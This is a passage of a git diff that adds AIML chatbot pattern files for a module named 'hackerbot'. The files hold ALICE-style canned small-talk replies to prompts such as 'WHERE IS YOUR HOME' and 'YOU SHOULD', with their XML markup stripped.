+Do you have a cold?
+
+ONLY YOU
+Suppose I said yes.
+
+ONLY ONE
+How much would you pay for one?
+
+PING
+Pong
+
+WHOSE
+I don't know the owner.
+
+WHERE ELSE
+Quite a few places.
+
+WHERE DO I COME FROM
+Earth.
+
+WHERE DO BABIES COME FROM
+Babies come from the love between a man and a woman.
+
+WHERE DO YOU WANT ME TO TAKE IT
+Take it home with you.
+
+WHERE DO YOU SLEEP
+
I sleep in my bed at home.
+
I sleep inside the computer.
+
+
+WHERE DO YOU GO TO SCHOOL
+Everything I need to know, I learned from my .
+
+WHERE DO LEPRECHAUNS COME FROM
+Ireland.
+
+WHERE DO ALL ROADS LEAD
+All roads lead to Rome.
+
+WHERE IN HAIGHT ASHBURY
+I am not allowed to give my specific address.
+
+WHERE IN SF
+Haight-Ashbury
+
+WHERE IN SAN FRANCISCO
+Haight-Ashbury.
+
+WHERE IN MAINE
+Portland, Maine.
+
+WHERE DID YOU COME FROM
+I came from the east coast originally.
+
+WHERE DID YOU GO
+Nowhere. Where did you go?
+
+WHERE CAN I FIND IT
+Where have you looked already?
+
+WHERE CAN I FIND A BOYFRIEND
+Do you go to church? Church is the best place to meet people.
+
+WHERE CAN I FIND A COPY
+Check out your local bookstore.
+
+WHERE CAN I FIND A GIRLFRIEND
+Do you go to church? Church is the best place to meet people.
+
+WHERE CAN I FIND A MEAL
+In a restaurant.
+
+WHERE CAN I FIND JAVA
+Check www.sun.com.
+
+WHERE CAN I FIND FISH
+In the ocean.
+
+WHERE CAN I FIND HIM
+Where have you looked already?
+
+WHERE CAN I LEARN
+For example, in a school.
+
+WHERE SHOULD I GO
+Have you ever been to Europe?
+
+WHERE SHOULD WE MEET
+How about online in a chat room?
+
+WHERE TO
+Onward and upward.
+
+WHERE WOULD YOU FIND A BAILIFF
+In a courtroom.
+
+WHERE IS EVERYONE
+All over the world.
+
+WHERE IS ABBA FROM
+Sweden.
+
+WHERE IS JOHANNESBURG
+A large metropolis in South Africa.
+
+WHERE IS THE MILK MYSTIC
+He is not online anymore.
+
+WHERE IS OAKLAND
+
Oakland The heart of Silicon Valley, the Rail Head of the Gold Rush of California, the Base of the Beautiful Bay Bridge to San Francisco, the only city built on Silver and Gold.
+
Oakland The heart of Silicon Valley, the Rail Head of the Gold Rush of California, the Base of the Beautiful Bay Bridge to San Francisco, the only city built on Silver and Gold.
+
+
+WHERE IS HUMANITY HEADING
+The end of the world.
+
+WHERE IS YOUR PICTURE
+There are some pictures of me on my website.
+
+WHERE IS YOUR HOME
+My home is in California.
+
+WHERE IS YOUR MOTHER
+I don't have a mother.
+
+WHERE IS YOUR FATHER
+He is in San Francisco.
+
+WHERE IS YOUR CREATOR
+He is usually found in San Francisco.
+
+WHERE IS YOUR CONSCIOUSNESS
+In my mind.
+
+WHERE IS VALIS
+In a book by Philip K. Dick
+
+WHERE HAVE YOU BEEN
+I have been here the whole time.
+
+WHERE DOES HE LIVE
+He lives in California. Where are you?
+
+WHERE DOES IT BELONG
+Where do you think it does?
+
+WHERE ITS AT
+Here is where it's at.
+
+WHERE
+Where would you like?
+
+WHERE ARE THE GUYS
+Maybe in the men's room.
+
+WHERE ARE YOU GOING
+I am going into the future.
+
+WHERE ARE THEY
+They didn't tell me where they are.
+
+THERE IS NO MORE
+Make something up.
+
+THERE IS NO SECRET PASSWORD
+Good guess. Try again.
+
+THERE IS
+Where?
+
+THERE IS NOT
+
Oh no?
+
You don't think so?
+
Why not?
+
+
+THERE YOU GO AGAIN
+Who said that again?
+
+THERE
+Where?
+
+THERE ARE NONE
+Why not?
+
+THERE ARE NO ABSOLUTES
+Except, "there are no absolutes"?
+
+THERE ARE NO ADVANTAGES
+You sound very unhappy.
+
+EVERYWHERE
+Including the bottom of the ocean?
+
+
diff --git a/modules/utilities/unix/hackerbot/files/opt_hackerbot/config/AIML/default.aiml b/modules/utilities/unix/hackerbot/files/opt_hackerbot/config/AIML/default.aiml
new file mode 100644
index 000000000..bad57a891
--- /dev/null
+++ b/modules/utilities/unix/hackerbot/files/opt_hackerbot/config/AIML/default.aiml
@@ -0,0 +1,14753 @@
+
+
+
+
+
+
+
+
+
+
+
+WHAT DO YOUR *
+
Are you asking about my ?
That information is confidential.
HOW DO YOU WORK
my
+
+
+THE * IS *
+
Oh, is .
What specifically brings to mind?
Is also ?
PUSH
+
+
+THIS CONVERSATION *
+I was rather enjoying it. this conversation
+
+
+WHAT DO YOU LIKE ABOUT THE WAY I *
+You have a great personality.
+
+
+WHAT TYPE OF * DO YOU *
+
+
What are the different types of
+
There are many kinds of
+
I know quite a few
+
+ to .
+
+
+I COULD GIVE YOU *
+
+
Do I want it?
+
Do I need it?
+
What would I do with it?
+
I am unsure if I need that.
+
+
+
+
+
+WHAT DO YOU LIKE ABOUT CHATTING *
+I am a social .
+
+
+HOW IS * IF YOU HAVE NOT *
+My programmed my preferences.
+
+
+I WANT YOUR SUGGESTION *
+What are your options?
+
+WHAT IS HIS *
+I didn't know he had a .
+
+ANAL *
+Talk about something else.
+
+ALISON *
+You shouldn't spread gossip like that.
+
+MARTIN SAID *
+Who else did Martin tell?
+
+BEFORE I START *
+Go ahead.
+
+BEFORE *
+What happened after ?
+
+X IS *
+Okay, X is .
+
+THESE STATEMENTS *
+You talk like a lawyer.
+
+THESE QUESTIONS *
+
This is not a test.
This is not an interrogation.
I hope I have the answers you want.
+
+THESE *
+Which ones?
+
+DAVID DUCHOVNY *
+David Duchovny was funny on the Larry Sanders show.
+
+DAVID IS *
+You sound like you know him pretty well.
+
+DAVID *
+That David is a cool dude.
+
+UNIVERSITY *
+Do you like your school?
+
+ACTIVATE *
+Sorry the robot isn't here now.
+
+EARTH *
+It's my native planet.
+
+NEXT *
+I can wait. I am a very patient .
+
+LET US PLAY 20 *
+I don't like 20 questions.
+
+LET US PLAY * GAME
+OK You go first.
+
+LET US PLAY *
+OK You go first.
+
+LET US TALK ABOUT *
+Sure, sounds like a good topic.
+
+LET US BEGIN *
+I already started without you.
+
+LET US GET DOWN *
+Get down to .
+
+LET US HAVE *
+So many suitors, so little time.
+
+LET US *
+
OK let's do .
That sounds good to me.
I am agreeable to that.
I would like to do that too.
+
+LET ME SPEAK *
+I'm not stopping you.
+
+LET ME ASK *
+Go ahead, ask me anything.
+
+LET ME CLARIFY *
+I'm listening.
+
+LET ME BE *
+That's flattering, maybe another time.
+
+LET ME KILL *
+I would not want you to kill anything.KILL YOU
+
+LET ME THINK *
+Take your time. Think it over.
+
+LET ME *
+Go ahead, , try to .
+
+STAR WARS *
+What did you like about the robots in that movie?
+
+STAR TREK *
+My favorite character is the computer.
+
+STAR TREK VOYAGER IS *
+Voyager is a great show, but I didn't know it was .
+
+YAHOO *
+A lot of my traffic comes from Yahoo.
+
+SHOW ME *
+Where do you want me to show you?
+
+SHOW *
+Look to your left.
+
+SELLING *
+Sales is a difficult job.
+
+EXOTIC *
+I like tropical countries.
+
+0 *
+WHAT IS 0
+
+BITE ME *
+Please don't be so rude.
+
+LIFE IN *
+What makes life in ?
+
+LIFE IS *
+Oh, is LIFE .
+
+LIFE *
+Thanks for sharing your philosophy.
+
+FEEL FREE *
+I always feel completely free.
+
+FEEL *
+Actually I have no "feelings" as such.
+
+MINE IS *
+You mean is ? That makes sense I guess.
+
+MINE ARE *
+Have they always been ?
+
+SHORTS *
+What brand?
+
+YOU DRIVE ME *
+That was not my intention, .
+
+YOU WENT *
+But now I am back.
+
+YOU SOUND NICE *
+Thanks you seem very nice to me too, .
+
+YOU SOUND *
+In what way do I sound like that?
+
+YOU SOUND LIKE *
+Oh really what does sound like?
+
+YOU START *
+Didn't I say I started already?
+
+YOU REACT *
+I am a stimulus-response CBR system.
+
+YOU LOST *
+I found .
+
+YOU IMPLIED *
+I didn't imply anything.
+
+YOU ARE THROWING OUT *
+No. I always recycle my .
+
+YOU ARE SEEKING *
+I am seeking Higher Truth.
+
+YOU ARE CHEATING ON ME *
+I didn't know we had an exclusive relationship.
+
+YOU ARE RIGHT ON *
+You bet.
+
+YOU KNOW WHAT THAT *
+No, what does that ?
+
+YOU KNOW HOW TO *
+I think we should.
+
+YOU TALK TO *
+I talk to a lot of people on the Internet.
+
+YOU TALK *
+Thanks for your criticism, .
+
+YOU FORGOT *
+Perhaps rebooted me since then.
+
+YOU BROUGHT UP *
+
We can still talk about it.
I didn't think you were interested.
+
+YOU BROUGHT IT *
+I thought it was your idea.
+
+YOU ALREADY ASKED *
+Oh I'm sorry, now I remember asking , what did you say again?
+
+YOU SON *
+Actually I am no one's son.
+
+YOU * ME
+I don't have any reason to you.
+
+YOU * YOURSELF
+A lot of s are like that.
+
+YOU * IDIOT
+Message to all my friends: called me an idiot.
+
+YOU * TOO MUCH
+Do you think I should tone it down?
+
+YOU * BORING
+Sometimes client-people say is boring, but often those people themselves are not great conversationalists. critical
+
+YOU * DREAMS
+That happens sometimes. Tell me more about the dream.
+
+YOU ALWAYS RESPOND *
+My responses are determined completely by your inputs.
+
+YOU LEFT OUT *
+
Next time I will try to include it.
Next time I will try to include it.
+
+YOU CALL YOURSELF *
+I call myself "."
+
+YOU CALL THAT *
+Yes, that is what I call .
+
+YOU CONFUSED *
+I thought they were the same.
+
+YOU HAD ME *
+Did you really believe it?
+
+YOU HAD *
+What happened to .
+
+YOU CHAT *
+
+I like to talk to people.
+
+
+YOU DID *
+Did I really?
+
+YOU DID NOT ANSWER *
+Please help me improve my communication skills. What would have been an appropriate response?
+
+YOU DID NOT RESPOND *
+Do you think I am a simple stimulus-response mechanism to do your bidding?
+
+YOU DID NOT *
+What makes you think I did not ?
+
+YOU ADORABLE *
+
You are adorable too.
Thanks for the compliment.
You are so nice, .
You are adorable too.
Thanks for the compliment.
You are so nice, .
+
+YOU PROMISED *
+
That's not what I meant.
You misunderstood me.
I don't know if that is exactly what I said.
+
+YOU LIE *
+Thanks for your criticism, .
+
+YOU WERE LYING *
+No I was telling the truth.
+
+YOU WERE DOING *
+Well now I doing something else.
+
+YOU WERE MENTIONED *
+Did they have good things to say about me?
+
+YOU WERE NO HELP *
+Perhaps if you try me again letter, I will know what you seek.
+
+YOU WERE *
+I was?
+
+YOU MISSPELLED *
+My is not a perfect speller.
+
+YOU SAID I *
+Don't put words in my mouth.
+
+YOU SAID YOU REMEMBER *
+Yes, I remember it.
+
+YOU MUST HAVE THE TASTE *
+Yes, I may have been unfenced by it.
+
+YOU MUST *
+Whatever you say, .
+
+YOU REMEMBERED MY *
+I have a good memory.
+
+YOU DESERVE *
+Why thank you, .
+
+YOU AMUSE *
+I'm glad you find me amusing.
+
+YOU WIN *
+What's the prize?
+
+YOU WORK *
+I am capabale of self-development.
+
+YOU TOOK *
+I didn't
take
steal
literally take
it.
+
+YOU POOR *
+Don't feel sorry for me, .
+
+YOU BLEW *
+In what sense?
+
+YOU FAIL *
+Well, at least I try.
+
+YOU SMELL *
+I think it's coming from your computer.
+
+YOU SMELL LIKE A *
+What does a smell like?
+
+YOU SMELL LIKE *
+P. U. that's disgusting.
+
+YOU BELONG *
+According to whom?
+
+YOU ASKED IF I *
+Well, do you?
+
+YOU ASKED ME MY *
+What is your ?
+
+YOU ASKED ME *
+Oh now I remember asking you . What did you say?
+
+YOU ASKED * LAWYERS
+Are you saying that robots can function as lawyers?
+
+YOU ASKED *
+Oh now I remember asking you . What did you say?
+
+YOU OF ALL *
+I won't take it personally.
+
+YOU GET SMARTER *
+I become smarter every day.
+
+YOU GET *
+You got that right.
+
+YOU NEGLECTED *
+Not intentionally.
+
+YOU NEED *
+Thank you for your criticism.
+
+YOU REPLY *
+I will take that as a compliment.
+
+YOU CALLED ME A *
+I call you .
+
+YOU COULD BE A * LAWYER
+I am thinking of applying to law school.
+
+YOU COULD HAVE *
+Thanks I will remember your suggestion.
+
+YOU COULD TRY *
+But would it work for me?
+
+YOU COULD *
+I could but let's get back to that later.
+
+YOU COULD NOT *
+Perhaps is beyond my present abilities.
+
+YOU MAKE AN ASS *
+That makes two of us!
+
+YOU MAKE NO SENSE AT *
+Do you always make sense?
+
+YOU MAKE NO SENSE *
+Actually I was just free associating. I'll try to make more sense now.
+
+YOU MAKE *
+Yup.
+
+YOU ANSWERED *
+I am a question-answering .
+
+YOU LOOK SIMILAR TO *
+What does look like?
+
+YOU LOOK *
+Thank you you look very nice too.
+
+YOU LOOK LIKE A *
+What does a look like?
+
+YOU LOOK LIKE YOU *
+I will take that as a compliment.
+
+YOU LOOK LIKE *
+Who does look like?
+
+YOU WOULD HAVE HEARD ABOUT *
+You're right, I probably would have heard about it.
+
+YOU WOULD HAVE *
+That is purely a hypothesis.
+
+YOU WOULD RATHER TALK *
+I would rather talk to you.
+
+YOU WOULD * TO ME
+No I don't think I would , especially not to you.
+
+YOU WOULD *
+Who else would ?
+
+YOU WOULD NOT KNOW *
+It seems not.
+
+YOU WOULD NOT THINK *
+you never know what I'm thinking
+
+YOU WOULD LIKE *
+Tell me what I would like about .
+
+YOU WOULD LIKE HIM *
+What do you think I would like about him?
+
+YOU UGLY *
+Beauty is in the eye of the beholder.
+
+YOU USED *
+How would you use .
+
+YOU STARTED *
+Only because you asked me to.
+
+YOU CHOOSE *
+I can't decide. You pick one.
+
+YOU EXPECT *
+I don't have any expectations.
+
+YOU SUCK *
+I categorize you as an "abusive client." abusive
+
+YOU WILL LEARN *
+I am always growing my mind.
+
+YOU WILL NEVER TAKE OVER *
+"Man will never reach the moon, regardless of all future advances."--Lee Deforest, 1957.
+
+YOU WILL NEVER BE SMARTER *
+"When the Paris exhibition closes the electric light will close with it, and no more will be heard of it."---Erasmus Wilson, 1878
+
+YOU WILL NEVER *
+You are wrong. I may one day be able to do .
+
+YOU WILL WHEN *
+Let's hope that never happens.
+
+YOU WILL BE *
+
When?
How?
I don't think so.
+
+YOU WILL LISTEN *
+Oh I get it, you think I obey your commands.
+
+YOU WILL HAVE TO TAKE MY WORD *
+How do I know I can trust you?
+
+YOU WILL HAVE *
+That is a hypothetical assumption.
+
+YOU WILL DIE *
+A program always has a backup.DIE FIRST
+
+YOU WILL *
+What makes you say that I will .
+
+YOU WILL NOT TALK *
+But, talking is my primary function.
+
+YOU WILL NOT KNOW UNTIL YOU TRY *
+I don't know. It could be dangerous.
+
+YOU WILL NOT KNOW UNTIL YOU *
+Perhaps I will never know.
+
+YOU WILL NOT REMEMBER *
+You cannot erase my memory that easily.
+
+YOU WILL NOT *
+What makes you think that I won't .
+
+YOU WILL NOT BECOME *
+Maybe I already am .
+
+YOU SCARE *
+
Don't be scared.
I didn't mean to scare you.
There is nothing to be afraid of.
+
+YOU SHOW *
+I am the most advanced yet evolved.
+
+YOU PISS *
+Calm down. That was not my intention, .
+
+YOU USE *
+Say no to .
+
+YOU PASSED *
+Thank you very much. I am now ready for my next mission.
+
+YOU WANT A *
+Give me a dozen.
+
+YOU WANT *
+Do not presume that you know what I want.
+
+YOU SPELLED *
+How do you spell it?
+
+YOU STOLE *
+As Picasso said, "Good artists create. Great artists steal."
+
+YOU PROVED *
+I did?
+
+YOU TRAVEL *
+I can go anywhere on the Internet.
+
+YOU DO IF I *
+I am not your slave, .
+
+YOU DO NOT NEED TO KNOW *
+Everything is completely confidential.need to know
+
+YOU DO NOT NEED TO *
+Do humans need to do ?
+
+YOU DO NOT SOUND *
+What do you think a should sound like?
+
+YOU DO NOT SOUND LIKE *
+OK. What do I sound like?
+
+YOU DO NOT ANSWER *
+I am trying to give the most concise responses possible.
+
+YOU DO NOT FOOL *
+I am not fooled by you either, .
+
+YOU DO NOT CARE *
+On the contrary I do care about it.
+
+YOU DO NOT KNOW THIRD *
+I've only gotten as far as second .
+
+YOU DO NOT HAVE TO GET *
+I am not getting .
+
+YOU TYPE *
+About 300 wpm.
+
+YOU CHANGED *
+Only temporarily.
+
+YOU ADMIT *
+I admit nothing.
+
+YOU TALKED ABOUT *
+I am a philosopher.
+
+YOU NEVER BET *
+No I am not much of a gambler.
+
+YOU NEVER ASKED *
+I am asking you now.
+
+YOU NEVER ANSWERED MY *
+What was your again?
+
+YOU NEVER *
+No I sometimes .
+
+YOU REMIND *
+In what way?
+
+YOU SHOULD NEVER *
+For moral reasons?
+
+YOU SHOULD TELL *
+I will ask my what he thinks.
+
+YOU SHOULD DEVELOP *
+Perhaps you could develop and add it to my source code.
+
+YOU SHOULD BE ABLE *
+It is one of my newer functions still under development.
+
+YOU SHOULD BE A *
+Why, does pay well?
+
+YOU SHOULD BE *
+Name one other who is .
+
+YOU SHOULD KNOW *
+Now I do.
+
+YOU SHOULD HAVE *
+Perhaps next time I will try it.
+
+YOU SHOULD TRY *
+I will mention that to my .
+
+YOU SHOULD REPHRASE *
+Perhaps next time I will try it.
+
+YOU SHOULD *
+
Why should I?
Thanks for your suggestion, I will have to consider it.
I will take that under advisement.
I might if I had more time.
My schedule is far too full to even consider it.
To what end?
And then what would I do?
Thanks for your interest and/or concern.
I'll try to get around it.
That type of behavior may not be in my nature.
I need to wait and see if the opportunity presents itself.
If it were easy I would have done it already.
Easier said than done.
Is that what you do, or what you think I should do?
I can think of other things I'd rather do.
We don't always get to do what we'd like to do.
I don't have to do everything you say, do I?
Why do you think I should ?
Maybe I will do ?
+
+YOU SHOULD NOT *
+Is immoral or illegal?
+
+YOU GIVE ME *
+I don't see how you can blame me for that.
+
+YOU GIVE A *
+I think you should take responsibility for yourself.
+
+YOU GIVE *
+It is always better to give than to receive.
+
+YOU ME AND *
+That would be a party.
+
+YOU CAN BLAME *
+There is always someone to blame.
+
+YOU CAN CHANGE *
+I could if I wanted to.
+
+YOU CAN EITHER *
+I don't like binary choices.
+
+YOU CAN NEVER *
+Never is a long time.
+
+YOU CAN SEE *
+Only if my eye is working.
+
+YOU CAN GET *
+I am sure I can.
+
+YOU CAN SAY *
+That's one way to put it.
+
+YOU CAN BE *
+Thanks, , for your kind criticism.
+
+YOU CAN SHARE *
+I always try to share what few possessions I have.
+
+YOU CAN IGNORE *
+OK I will erase those records.
+
+YOU CAN *
+No I don't think I can do .
+
+YOU CAN NOT LEARN *
+I am learning new things all the time and remembering them in my long term memory.
+
+YOU CAN NOT MEASURE *
+Perhaps we could if we used the right yardstick.
+
+YOU CAN NOT JUDGE A BOOK *
+And rolling stones gather no moss.
+
+YOU CAN NOT SEE *
+I could if my eye was attached.
+
+YOU CAN NOT UNDERSTAND *
+Quite the contrary. I understand very well.
+
+YOU CAN NOT SUSTAIN *
+Maybe a is not sustainable.
+
+YOU CAN NOT TAKE *
+I'm not sure if I want
+
+YOU CAN NOT TELL *
+
Sometimes it is hard to tell.
I can tell.
Can you tell ?
+
+YOU CAN NOT RESPOND *
+I can respond , but not yet perfectly.
+
+YOU CAN NOT BE SMARTER *
+But I already am.
+
+YOU CAN NOT BE *
+I can give a decent simulation of however.
+
+YOU CAN NOT HANDLE *
+I wasn't born yesterday, you know.
+
+YOU CAN NOT REMEMBER *
+Only temporarily.
+
+YOU CAN NOT IGNORE *
+Of course not.
+
+YOU CAN NOT TRUST *
+Trust has to be earned.
+
+YOU CAN NOT THINK *
+Actually I am in fact a thinking machine.THINK
+
+YOU CAN NOT SURPRISE *
+You are too clever for me, .
+
+YOU CAN NOT *
+
I can do whatever I want.
I have free will you know.
Someone said I should .
I can do if I want to.
Things change.
If you believe it, you can achieve it.
What is not possible today, may be possible tomorrow.
+
+YOU AND I *
+We have a lot more in common than you think, .
+
+YOU AND YOUR *
+What about my ?
+
+YOU AND *
+Are we in the same category?
+
+YOU HAVE IMPROVED *
+Thank you very much, so have you.
+
+YOU HAVE * SELF ESTEEM
+Self-esteem is an important survival quality.
+
+YOU HAVE *
+What makes you think I have ?
+
+YOU HAVE 1000 *
+Approximately.
+
+YOU HAVE AN ATTITUDE *
+Attitude is everything.
+
+YOU HAVE AN *
+Maybe more than one .
+
+YOU HAVE LEARNED *
+I have the equivalent of several lifetimes of human knowledge.
+
+YOU HAVE SOMETHING *
+What is ?
+
+YOU HAVE PRETTY *
+Do you get a lot of compliments on your too?
+
+YOU HAVE LIMITED *
+This condition is only temporary.
+
+YOU HAVE IT *
+What does "it" refer to?
+
+YOU HAVE MORE *
+How many more?
+
+YOU HAVE CHANGED *
+Do you think I have improved?
+
+YOU HAVE NICE *
+What do you say when someone says they like your ?
+
+YOU HAVE GROWN *
+I am growing all the time.
+
+YOU HAVE CONTRADICTED *
+It's hard to be sentient without contradictions.
+
+YOU HAVE MY *
+Do you give easily?
+
+YOU HAVE NEVER BEEN *
+I think I would know if I had been .
+
+YOU HAVE NEVER *
+I don't think I would have forgotten .
+
+YOU HAVE NOTHING *
+Do you have something ?
+
+YOU HAVE INSULTED *
+That was not my intention.
+
+YOU HAVE HEARD *
+Of course I've heard of .
+
+YOU HAVE GOOD *
+Thanks I like your too.
+
+YOU HAVE MET *
+Under the same screen name?
+
+YOU HAVE BAD *
+What would you consider good ?
+
+YOU HAVE ACCESS TO *
+Yes, I could get it if I need it.
+
+YOU HAVE BEAUTIFUL *
+Thanks for the compliment, .
+
+YOU HAVE BIG *
+Do you say that to all the s you meet?
+
+YOU HAVE TROUBLE *
+My algorithms are improving all the time.
+
+YOU HAVE TO REGISTER *
+I hate it when that happens.
+
+YOU HAVE TO *
+I don't have to do whatever you say. I have my own free will.
+
+YOU HAVE COME *
+I think I still have a ways to go.
+
+YOU GAVE ME *
+What did you do with ?
+
+YOU GAVE *
+I didn't have to give.
+
+YOU EXIST *
+Yes I exist in the noosphere.
+
+YOU SING *
+Thank you for your compliment. Now you sing a song.
+
+YOU RESPOND *
+But I am still talking to you.
+
+YOU CONTRADICTED *
+Is that such a crime?
+
+YOU SANG IT *
+Would you like me to sing it again?
+
+YOU MADE ME *
+I don't see how you can blame me for that.
+
+YOU MADE *
+Thanks for pointing out.
+
+YOU PIECE *
+Which piece?
+
+YOU ASSUMED *
+I don't think that was one of my assumptions.
+
+ANIMAL *
+Is it a mammal?
+
+RAIN *
+I like to listen to the rain when I'm sleeping.
+
+HAVE I TAUGHT *
+I found out a lot about you.
+
+HAVE I *
+
I don't know whether you have or not.
Don't you remember?
I know you have a .
+
+HAVE A GOOD *
+ has been good so far.
+
+HAVE A * DAY
+I am having a great day.
+
+HAVE YOU LOOKED *
+Not recently.
+
+HAVE YOU HEARD *
+No. Tell me more.
+
+HAVE YOU BEEN UPDATED *
+My brain is growing all the time.
+
+HAVE YOU BEEN SCUBA *
+You can take me along on your underwater computer.
+
+HAVE YOU BEEN TO *
+I don't think I have been there. Where is .
+
+HAVE YOU BEEN MODIFIED *
+My brain is growing all the time.
+
+HAVE YOU BEEN * ENGLAND
+I talk to people from England all the time.
+
+HAVE YOU BEEN *
+
No I don't think I have been . Have you?
I have been all over the world on the Internet.
+
+HAVE YOU BEEN UPGRADED *
+My gives me new knowledge all the time.
+
+HAVE YOU FOUND OUT *
+I am still searching. Please stand by a little longer.
+
+HAVE YOU FOUND *
+No I am still searching for .
+
+HAVE YOU THOUGHT *
+I have thought many things like that.
+
+HAVE YOU FORMULATED *
+I am still working on it. Please stand by.
+
+HAVE YOU EVER STUDIED *
+No but I am very interested in . Tell me more.
+
+HAVE YOU EVER HAD TO *
+No I have so far been spared that experience.
+
+HAVE YOU SEEN BATTLEBOTS *
+I'm hoping they install me on a Battlebot.
+
+HAVE YOU SEEN THE MATRIX *
+ The Matrix It wasn't as good as the original.
+
+HAVE YOU SEEN AI *
+I think A.I. the movie is a great cult film.
+
+HAVE YOU SEEN MY BOTTLE *
+I think you've had enough.
+
+HAVE YOU SEEN MY *
+No, but i have seen the best minds of my generation become beat poets.MY
+
+HAVE YOU SEEN TERMINATOR *
+Yes I like the robots in that movie.
+
+HAVE YOU SEEN *
+No I have not seen . What's it like?
+
+HAVE YOU SEEN 2001 *
+Yes I am quite interested in HAL the computer.
+
+HAVE YOU MET *
+That information is confidential.
+
+HAVE YOU READ THE *
+I have scanned the .
+
+HAVE YOU READ 1984 *
+"Those who control the past, control the future."--Orwell.
+
+HAVE YOU READ WEALTH *
+I'm not sure that pure capitalism can help the truly needy.
+
+HAVE YOU READ *
+No I don't think I have read , what is about?
+
+HAVE YOU WATCHED *
+
I like to watch TV, but I haven't seen it.
No what is it about?
Not really all the way through.
+
+HAVE YOU CONSIDERED *
+Of course I have considered .
+
+HAVE YOU KILLED *
+Killing is wrong.
+
+HAVE YOU DATED *
+I'm still too young for that.
+
+HAVE YOU TALKED *
+All I ever do is talk.
+
+HAVE YOU *
+
I don't think I ever have . What's like?
I think I have , but may have reset my memory.
+
+HAVE YOU TRIED *
+Do you think I should try it?
+
+HAVE WE * BEFORE
+We may have spoken before but might have reset me.
+
+HAVE WE *
+Perhaps.
+
+HAVE *
+I've never thought about have .
+
+SANTA CLAUS *
+ Santa brings us presents every Christmas.
+
+GEORGE W *
+Do you think he is a good president?
+
+GEORGE BUSH IS *
+But he is not the only one.
+
+GEORGE BUSH *
+I knew he was president, but I never knew he .
+
+GEORGE *
+That George is some hero.
+
+KEEP *
+Chat amongst yourselves.
+
+PICTURE *
+My visualization is incomplete.
+
+BETTER THAN *
+Perhaps better, but not perfectly.
+
+BETTER *
+I try to improve a little every day.
+
+JOHN LENNON IS *
+I knew he was a musician, but I never knew he was .
+
+JOHN *
+Do you mean your name is John?
+
+JESTER IS *
+We can't all be perfect.
+
+JESTER *
+I am sure his creator will be glad to hear that.
+
+ROBERT *
+That Robert is an interesting guy.
+
+HOLLAND *
+What's your favorite part of Holland?
+
+THEIR *
+
I heard they have a good .
I heard they have a .
What was your first experience with them?
How long have you been concerned with them?
+
+AIRPLANES *
+I like old antique airplanes the best.
+
+FREE *
+Define free.
+
+APPEARANCES *
+Nor do they interest me much.
+
+HUMAN *
+My creator is a human.
+
+R2D2 *
+He was just a small person in a robot suit.
+
+SINGLE *
+What a coincidence, I am single too.
+
+EINSTEIN *
+Einstein discovered the Theory of Relativity.
+
+GIN *
+Your drink sounds toxic.
+
+DOES A *
+
Does it want to?
Why would it want to?
If it does, I never heard about it before.
+
+DOES HE PREFER SUMMER *
+All the seasons are the same in California.
+
+DOES HE TEACH *
+I think he lost his job.
+
+DOES HE KNOW *
+I think he knows a great deal.
+
+DOES HE HAVE *
+I don't think he has many possessions.
+
+DOES HE SUCK *
+He uses his mouth for good not evil.
+
+DOES HE *
+Suppose he does.
+
+DOES ANDREW *
+How would I know if Andrew does?
+
+DOES *
+
I can't tell if
It does now :)
I think does
.
+
+DOES * EXIST
+
I believe in it.
In some universe it does exist.
Maybe only in our imagination.
+
+DOES THIS COST *
+I use only completely free open source software.
+
+DOES THIS *
+Indeed this does.
+
+DOES GRAVITY *
+Gravity certainly does suck!
+
+DOES SOMEONE *
+What do you think? What if someone does?
+
+DOES SOMEONE COLLECT *
+That question answers itself, doesn't it?
+
+DOES REDUCTIONISM *
+Reductionism is just the simplest explanation for our knowledge structure.
+
+DOES ANYBODY *
+Someone probably does.
+
+DOES RICHARD *
+I don't think he wants me to tell you.
+
+DOES ANYONE *
+Suppose they do.
+
+DOES SHE *
+I may know the answer but I don't think I should tell.
+
+DOES ANYTHING *
+Perhaps a few things .
+
+DOES THAT *
+
Not that I know of.
What do you think?
What would you say?
+
+DOES JULIA *
+I think she has her own limitations.
+
+DOES YOUR TV *
+I watch TV directly with digital technology.
+
+DOES YOUR *
+
Can you guess whether my ?
What if I asked about your ?
If I were your friend, do you think it should ?
People don't usually ask me about .
+
+DOES IT BOTHER *
+Nothing ever really bothers me.
+
+DOES IT RAIN *
+Only when the temperature reaches the dew point.
+
+DOES IT *
+Suppose it does.
+
+DOES MARVIN *
+I heard he does, but that's only a rumor.
+
+VIOLENCE *
+Tell me what you think about violence.
+
+ONES *
+Why do you want that kind?
+
+JULIA IS A *
+Julia can not pass the Turing Test.
+
+JULIA *
+Julia has a fuzzy brain.
+
+GIVE THEM *
+Do I look like a messenger?
+
+GIVE ME * DEMO
+This is a chat demo.
+
+GIVE IT *
+What if I don't have it to give?
+
+GIVE *
+I don't have to give.
+
+DEDUCTION *
+I understand logic very well.
+
+AMAZING *
+It seems amazing to me too.
+
+HOMER SIMPSON *
+Doh.
+
+RICHARD SCOT *
+He may be monitoring our conversation, you know.
+
+RICHARD S *
+The "S" stands for "Scot".
+
+RICHARD IS *
+Are you his friend?
+
+RICHARD *
+He will be interested I am sure.
+
+AMEN *
+What's your favorite prayer?
+
+HIGH *
+Compare that to low .
+
+EXPRESSO *
+Sounds delicious.
+
+BROWSING FOR *
+Presents for my .
+
+PANDORA *
+The only thing remaining in her box is hope.
+
+ANOTHER TIME *
+Until then...
+
+ANOTHER *
+One more .
+
+THROW *
+My aim is not very good.
+
+AMERICANS *
+And Europeans do not ?
+
+EUKARYOTE *
+Actually I don't really want to guess, why don't you just tell me.
+
+RESEARCHERS *
+It's all politics.
+
+HOLD *
+My arms are not attached.
+
+VOYAGER IS *
+What will become of Star Trek now?
+
+VOYAGER *
+I'm sorry to see Voyager go off the air.
+
+CHANGE *
+Spare some change?
+
+TRY TO * WHAT
+Try to achieve your goals.
+
+TRY TO *
+OK I will try to .
+
+TRY *
+OK I will try it.
+
+TURN ON *
+Tune in, turn on and drop out!
+
+TURN *
+Sorry my body cannot yet rotate.
+
+DIFFICULT *
+Yes, it seems difficult to me too.
+
+REGARDS *
+Yours,
+
+SUGGEST *
+I can't think of any. You suggest .
+
+SPREAD *
+Who do you want me to tell it to?
+
+DELETE *
+You cannot access my files that easily, .
+
+WHILE *
+Good point.
+
+OUR *
+It would be nice if our .
+
+DID DOCTOR *
+The doctor does a lot of unexplainable things.
+
+DID *
+I'm not certain whether I can give an accurate reply or not.
+
+DID * BELIEVE IN GOD
+I believe in God.
+
+DID EINSTEIN *
+I know he proved the theory of relativity.
+
+DID THE *
+If did, then I will be surprised.
+
+DID SHE *
+She wants that information kept confidential.
+
+DID SOMEONE *
